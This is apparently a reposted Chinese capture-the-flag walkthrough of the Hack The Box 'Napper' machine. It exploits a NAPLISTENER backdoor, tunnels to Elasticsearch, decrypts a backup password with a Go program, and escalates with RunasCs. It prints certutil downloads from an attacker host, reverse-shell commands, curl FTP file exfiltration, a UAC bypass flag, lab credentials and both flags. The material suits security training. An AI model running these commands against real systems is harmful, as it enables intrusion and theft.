[Meachines][Hard]Napper

Main

$ nmap -p- -sC -sV 10.10.11.240 --min-rate 1000

image.png

$ curl http://10.10.11.240

image.png

$ gobuster dir -u "https://app.napper.htb" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -k
博客
image.png

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 5602 -t 100 -u https://napper.htb -H "Host: FUZZ.napper.htb"

image.png

# echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb" >> /etc/hosts

基础验证框
image.png

在https://app.napper.htb/posts/setup-basic-auth-powershell/描述了如何用powershell新建一个基础身份认证的命令

image.png

输入示例用户名和密码成功进入internal.napper.htb

image.png

该内部页面发布了一篇关于NAPLISTENER(Ruben)恶意软件

image.png

Detail

https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

弹性安全实验室在追溯REF2924组织时观察到攻击者将优先事项从数据窃取转移到使用多种机制保持持久访问。2023年1月20日,创建了一个新的可执行文件 Wmdtc.exe,并使用类似于 Microsoft 分布式事务协调器服务 (Msdtc.exe) 的合法二进制的命名约定将其安装为 Windows 服务。

Wmdtc.exe 是一个用 C# 编写的 HTTP 监听器,我们称之为 NAPLISTENER。与 SIESTAGRAPH 和其他由此威胁开发或使用的恶意软件系列一致,NAPLISTENER 似乎旨在规避基于网络的检测形式。值得注意的是,在这个威胁主要活跃的地区(南亚和东南亚),基于网络和日志的检测方法是普遍存在的。

Analysis

这个独特的恶意软件样本包含一个名为 MsEXGHealthd 的 C# 类,它由三个方法组成:Main、SetRespHeader 和 Listener。这个类建立了一个 HTTP 请求监听器,可以处理来自互联网的传入请求,并通过过滤恶意命令并透明地传递合法的网络流量来相应。这个类在下面的图片中描述了出来。

image.png

当程序运行并创建一个线程对象时,将调用 Main 方法,该线程对象将由 Listener 方法使用。然后,该线程被设置为休眠 0 毫秒,然后启动。实现休眠功能与 SIESTAGRAPH、NAPLISTENER 和此组织开发或使用的其他恶意软件一致。

SetRespHeader 方法设置 HTTP 响应的响应头。它以一个 HttpListenerResponse 对象作为参数,并定义诸如 Server、Content-Type 和 X-Powered-By 等头部信息。在一个被积极针对的受害者环境中,IIS Web 服务器会返回一个带有 Server 头部包含 Microsoft-IIS/10.0 的 404 响应,除非特定的参数存在。

image.png

然而,当请求监听器 URI 时出现 404 错误时,会额外添加 Content-Type: text/html; charset=utf-8 作为一个头部。当安装了 NAPLISTENER 时,字符串 Microsoft-HTTPAPI/2.0 会被追加到 Server 头部。这种行为使得监听器变得可检测,并且不会生成 404 错误。很可能选择这种过滤方法是为了避免被网络扫描器和类似技术发现

防御者可能本能地在 IIS Web 服务器日志中搜索这些错误,但 NAPLISTENER 植入程序在内联执行,并且 Windows 将会将这些请求重定向到注册的应用程序,从而使得恶意软件能够确保这些错误永远不会到达 Web 服务器日志,分析人员也不会看到它们。此外,摄取 Web 服务器日志的安全工具将没有机会识别这些行为。

image.png

Listener 方法是 NAPLISTENER 中大部分工作发生的地方。

首先,该方法创建一个 HttpListener 对象来处理传入的请求。如果正在使用的平台支持 HttpListener(应该是的),它会向监听器添加一个前缀,并启动它。

一旦运行,它就会等待传入的请求。当收到请求时,它会读取提交的任何数据(存储在一个 Form 字段中),将其从 Base64 格式解码,并使用解码后的数据创建一个新的 HttpRequest 对象。它创建了一个 HttpResponse 对象和一个 HttpContext 对象,并使用这两个对象作为参数。如果提交的 Form 字段包含 sdafwe3rwe23,则会尝试创建一个程序集对象,并使用 Run 方法来执行它。

这意味着任何发送到 /ews/MsExgHealthCheckd/ 的 Web 请求,如果其中包含一个在 sdafwe3rwe23 参数中以 Base64 编码的 .NET 程序集,该程序集将被加载并在内存中执行。值得注意的是,该二进制运行在一个单独的进程中,与运行的 IIS 服务器没有直接关联。

如果由于某种原因(例如,数据无效或缺失)导致操作失败,则会发送一个带有空主体的“404 Not Found”响应。在发送任何响应后,流会被刷新并关闭连接,然后再次循环以等待更多传入请求。

Main

根据细节描述,我们使用NAPLISTENER扫描工具
该工具可以在Linux或Windows平台运行,会自动下载依赖程序
https://github.com/MartinxMax/

$ python3 Naplistener.py -u "https://napper.htb"

扫描目标,确认存在后门

image.png

$ python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032
反向shell
image.png

image.png

User Flag

> type C:\Users\ruben\Desktop\user.txt
image.png

acfc1c341ef2ec0ea83e1c14899371c2

Root Flag

C:\Temp\www\internal\content\posts>type no-more-laps.md

title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
我们正在摒弃LAPS,采用我们自己的定制解决方案。备份用户的密码将存储在本地的Elastic数据库中。
IT部门将在准备就绪后将解密客户端部署到管理员桌面上。
我们预计开发很快就会准备就绪。恶意软件逆向工程团队将是第一个测试组。

image.png

C:\Temp\www\internal\content\posts\internal-laps-alpha> dir
在目录internal-laps-alpha下存在一个a.exe
image.png

.env文件显示了运行在本地主机端口9200上的Elasticsearch服务的凭据。

username:user
password:DumpPassword$Here

image.png

c:\Temp> powershell -c certutil -urlcache -split -f "http://10.10.16.15/chisel.exe" chisel.exe

image.png

[kali]

$ chisel server --port 9201 --reverse
image.png
[靶机]

注意这里的映射端口不要与Kali服务器端监听的端口重复

c:\Temp>.\chisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200

image.png

9200端口
Elasticsearch是一个分布式、开源的搜索和分析引擎,适用于各种类型的数据。它以其速度、可扩展性和简单的REST API而闻名。基于Apache Lucene构建,Elasticsearch于2010年首次由Elasticsearch N.V.发布(现在称为Elastic)。Elasticsearch是Elastic Stack的核心组件,这是一个用于数据摄取、丰富、存储、分析和可视化的开源工具集合。这个堆栈,通常称为ELK Stack,还包括Logstash和Kibana,现在还有轻量级的数据传输代理称为Beats。

$ curl -k https://127.0.0.1:9200 -u 'user:DumpPassword$Here'

image.png

尝试检索存储在Elasticsearch数据库中的所有索引

$ curl -k https://127.0.0.1:9200/_cat/indices -u 'user:DumpPassword$Here'

image.png

在Elasticsearch数据库中有两个索引,分别是"seed"和"user-00001"。"seed"索引包含一个名为"seed"的字段的文档。

$ curl -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' |jq

"user-00001"索引包含一个名为"blob"的字段的文档,其数据似乎是一个Base64编码的密码哈希值。

image.png

Reverse Engineering

在kali中创建临时的FTP服务

$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21
image.png
本主机文件上传至FTP服务器

$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.15/

从FTP服务器将文件下载至本主机

$ curl -O -u martin:martin ftp://10.10.16.15/file.txt

在目录C:\Temp\www\internal\content\posts\internal-laps-alpha将a.exe上传到kali

$ curl -T a.exe -u martin:martin ftp://10.10.16.15/

image.png

image.png

逆向分析:https://binary.ninja/free/

在将文件导入Binary Ninja后,从"Symbols"面板中的go:buildid条目可以明显看出我们正在处理的是一个用Golang编写的可执行文件。因此,我们的重点转向了代码中的main.main函数,这是程序的入口点。

在 main.main 函数中,我们看到引用了 github.com/joho/godotenv 包。进一步往下看,我们注意到了 ELASTICURI 和 ELASTICUSER 变量的使用。这表明程序在 main.main 函数的开头从 .env 文件中加载这些变量。随后,默认的 Elasticsearch 库被用于建立连接。

image.png

在接下来的部分中,我们看到对三个函数的调用:

main.randStringList
main.genKey
main.encrypt

image.png

检查 main.randStringList 函数,我们可以看到它首先将字母表放入一个数组中

image.png

然后它遍历数组以从字母表集中随机选择值

image.png

检查main.genKey函数后,我们观察到代码正在生成一个随机的16字节密钥。值得注意的是,在此操作之前,设置了一个种子。此种子对应于从Elasticsearch中的种子索引中检索到的值。这意味着如果我们知道种子值,我们就可以复制相同的密钥

image.png

继续分析 main.encrypt 函数,通过追踪执行的左分支,我们可以看到它在将数据编码为 base64 之前使用了 AES 密码反馈(CFB)算法对数据进行加密

image.png

image.png

该二进制文件生成一个随机字符串,生成一个密钥,并可能使用该密钥对随机字符串进行加密。生成的输出可能是存储在 Elasticsearch 中的 user-00001 索引中的 base64 编码数据。回顾一下 main.main 函数,我们看到了对 net user 命令的引用。由于这里字符串的格式有些模糊,但是通过之前阅读的草稿文章提供的额外细节,很明显可以看出正在使用 net user backup 命令来更改备份用户的密码。使用在 Elasticsearch 数据库中发现的种子,我们可以创建一个相同的密钥并解密有效负载。

package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
mrand "math/rand"
"os"
"strconv"
)
func genKey(seed_key string) []byte {
seed, _ := strconv.Atoi(seed_key)
mrand.Seed(int64(seed))
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(mrand.Intn(255-1) + 1)
}
return key
}
func decrypt(key []byte, cryptoText string) string {
ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return fmt.Sprintf("%s", ciphertext)
}
func main() {
seed_key := genKey(os.Args[1])
decrypted_pass := decrypt(seed_key, os.Args[2])
fmt.Println("Decrypted pass: ", decrypted_pass)
}

这个 Go 脚本根据作为命令行参数提供的种子值生成一个随机密钥。使用这个密钥,它解密一个 base64 编码的密文。解密过程涉及使用生成的密钥初始化一个 AES 密码块,从密文中分离初始化向量 iv,然后使用 CFB 模式解密密文。最后,它将解密后的明文密码打印到控制台上

$ go build decrypt.go

image.png

$ ./decrypt $(curl -s -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.seed') "$(curl -s -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.blob')"
image.png

username:backup
password:mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg

我们成功获取了用户备份的密码。
现在,让我们继续使用 RunasCs.exe 在我们的 shell 中以备份用户身份运行命令。

> powershell -c certutil -urlcache -split -f "http://10.10.16.15/RunasCs.exe" RunasCs.exe

> .\RunasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac

image.png

image.png

> type c:\users\administrator\desktop\root.txt

image.png

26f995d74ea1f7b576938bbf0de6ee1b

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/593584.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深入学习和理解Django模板层:构建动态页面

title: 深入学习和理解Django模板层&#xff1a;构建动态页面 date: 2024/5/5 20:53:51 updated: 2024/5/5 20:53:51 categories: 后端开发 tags: Django模板表单处理静态文件国际化性能优化安全防护部署实践 第一章&#xff1a;模板语法基础 Django模板语法介绍 Django模…

Windows如何安装hadoop

Hadoop是一个开源的分布式计算平台&#xff0c;旨在处理大规模数据的存储和处理。它提供了分布式文件系统&#xff08;HDFS&#xff09;和分布式计算框架&#xff08;MapReduce&#xff09;&#xff0c;使得用户能够在大规模集群上存储和处理数据。Hadoop最初由Apache软件基金会…

【Java基础】15.脚本、编译、注解

系列文章目录 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 文章目录 系列文章目录15.脚本、编译、注解15.1 Java的脚本机制15.1.1 获取脚本引擎15.1.2 脚本计算与绑定15.1.3 重定向输入和输出15.1.4 调用脚本的函数和方法15.1.5 编…

iOS - Undefined symbols: 解决方法

Undefined symbols: 是让人苦恼的报错&#xff0c;如何知道是 哪个 symbols 不对呢&#xff1f; 今天探索到下面的方法&#xff1a; 1、点击导航上方 最右侧的按钮&#xff0c;查看历史报错 2、选中报错信息&#xff0c;右键选择 Expand All Transcripts 在出现的详细信息面…

【ARM Cortex-M3指南】4:存储器系统

文章目录 四、存储器系统4.1 存储器系统特性概述4.2 存储器映射4.3 存储器访问属性4.4 默认的存储器访问权限4.5 位段操作4.5.1 位段操作的优势4.5.2 不同数据宽度的位段操作4.5.3 C程序实现位段操作 4.6 非对称传输4.7 排他访问4.8 端模式 四、存储器系统 4.1 存储器系统特性…

【汇编语言】中断及外部设备操作

【汇编语言】中断及外部设备操作 文章目录 【汇编语言】中断及外部设备操作前言一、中断及其处理中断的概念8086内中断中断处理程序案例&#xff1a;系统中的0号中断中断过程 二、编制中断处理程序中断处理程序及其结构编制中断处理程序——以除法错误中断为例do0子程序应该放在…

Transformer中的数据输入构造

文章目录 1. 文本内容2. 字典构造2.1 定义一个类用于字典构造2.2 拆分文本2.3 构造结果 3. 完整代码 1. 文本内容 假如我们有如下一段文本内容&#xff1a; Optics It is the branch of physics that studies the behaviour and properties of light . Optical Science 这段…

【计算机科学速成课】笔记二

笔记一 文章目录 7.CPU阶段一&#xff1a;取指令阶段阶段二&#xff1a;解码阶段阶段三&#xff1a;执行阶段 8.指令和程序9.高级CPU设计——流水线与缓存 7.CPU CPU也叫中央处理器&#xff0c;下面我们要用ALU&#xff08;输入二进制&#xff0c;会执行计算&#xff09;、两种…

倪海厦(二)研究任何学问(东西)批判去看

大家好今天我们接着研究&#xff0c;倪海厦是如何思考问题的: 研究任何学问&#xff08;东西&#xff09;&#xff0c;批判去看&#xff0c;假设--验证--结果。以果决其行&#xff01;&#xff01;&#xff01;放空自己。学而后思&#xff0c;思学并进。 今天这一篇呢&#xf…

医疗器械软件相关的追溯关系

在医疗器械软件开发过程中&#xff0c;追溯性是确保产品质量和安全性的关键步骤之一。追溯性要求各个阶段的需求、设计、实现和测试之间能够清晰、连贯地关联起来&#xff0c;以便在整个开发周期中进行有效的跟踪和管理。IEC62304中明确输出的内容要有对应的追溯性&#xff0c;…

golang学习笔记(内存模型和分配机制)

操作系统的存储管理 虚拟内存管理 虚拟内存是一种内存管理技术&#xff0c;它允许操作系统为每个进程提供一个比实际物理内存更大的地址空间。这个地址空间被称为虚拟地址空间&#xff0c;而实际的物理内存则被称为物理地址空间。使用虚拟内存有以下几点好处&#xff1a; 内…

docker系列8:容器卷挂载(上)

目录 传送门 从安装redis说起 什么是容器卷挂载 操作系统的挂载 日志文件一般是"首恶元凶" 挂载命令 容器卷挂载 卷挂载命令 启动时挂载 查看挂载卷信息 容器卷管理 查看卷列表 创建容器卷 具名挂载与匿名挂载 具名挂载 传送门 docker系列1&#xff…

了解并学会使用反射

目录 一、反射的应用场景&#xff08;简单了解&#xff09; 二、反射的定义 三、关于反射的四个重要的类 四、反射的使用 1.Class获取一个class对象的方式 方式一&#xff1a;forName&#xff08;&#xff09;&#xff1a; 方式二&#xff1a;封装类.Class&#xff1a; …

天风证券:水电燃气价格上涨,能推动通胀么?

水电燃气价格上涨对PPI的影响更大&#xff0c;6%的平均价格上涨能够拉动CPI和PPI分别上涨0.3个和0.7个百分点。 近期&#xff0c;国内多地上调水电燃气价格 燃气价格上涨主要针对居民端。目前燃气价格实行居民用气价格限价波动非民用气市场化定价的双轨制&#xff0c;这使得居…

【Linux】目录和文件相关的命令,补充:centos7系统目录结构

【Linux】Linux操作系统的设计理念之一就是“一切皆文件”&#xff08;Everything is a file&#xff09;&#xff0c;即将设备、文件等都当作“文件”处理。 “文件”主要类型有&#xff1a;目录&#xff08;即文件夹&#xff09;&#xff0c;链接文档&#xff08;即快捷方式…

【Linux线程】

目录 线程是操作系统的一个执行流并发编程进程并发的优劣基于线程的并发编程Linux当中的线程 线程的创建使用pthread_createpthread_join对线程进行等待pthread_exit和pthread_cancelpthread_detach线程分离注意事项 原生线程库&#xff0c;详谈Linux的线程pthread库管理线程 线…

云端部署Stirling PDF:构建个人App的API调用指南(附Python源码)

今天发现一个Github的开源项目&#xff0c;Stirling PDF&#xff0c;项目地址如下&#xff1a;https://gitcode.com/Stirling-Tools/Stirling-PDFhttps://gitcode.com/Stirling-Tools/Stirling-PDF?utm_sourceartical_gitcode目前CSDN上已经有好几个up主都介绍了这个项目&…

cocos=》 预乘、混合(黑边、白色)

简介 预乘&#xff0c;指的是在数据提交给GPU之前&#xff0c;就对纹理的RGB分量与alpha值进行计算。 预乘计算 结果颜色 源颜色值 目标颜色值 * (1 - 源 alpha 值) result source.RGB dest.RGB * (1 - source.A); 对应的颜色混合函数设置为 gl.blendFunc(gl.ONE, gl.…

英语复习之英语形近词总结

最近在练习英语口语&#xff0c;有很好的练习场景&#xff0c;和数字人对练&#xff0c;还能纠错&#xff0c;不过开口的基础需要单词量的支撑以及语法的熟悉&#xff0c;因为英语的语法太简单了&#xff0c;没啥需要复习和注意的&#xff0c;音标发音的问题也可以后期再纠正&a…

Angular进阶-NVM管理Node.js实现不同版本Angular环境切换

一、NVM介绍 1. NVM简介 Node Version Manager&#xff08;NVM&#xff09;是一个用于管理多个Node.js版本的工具。它允许用户在同一台机器上安装和使用多个Node.js版本&#xff0c;非常适合需要同时进行多个项目的开发者。NVM是开源的&#xff0c;支持MacOS、Windows和Linux…
最新文章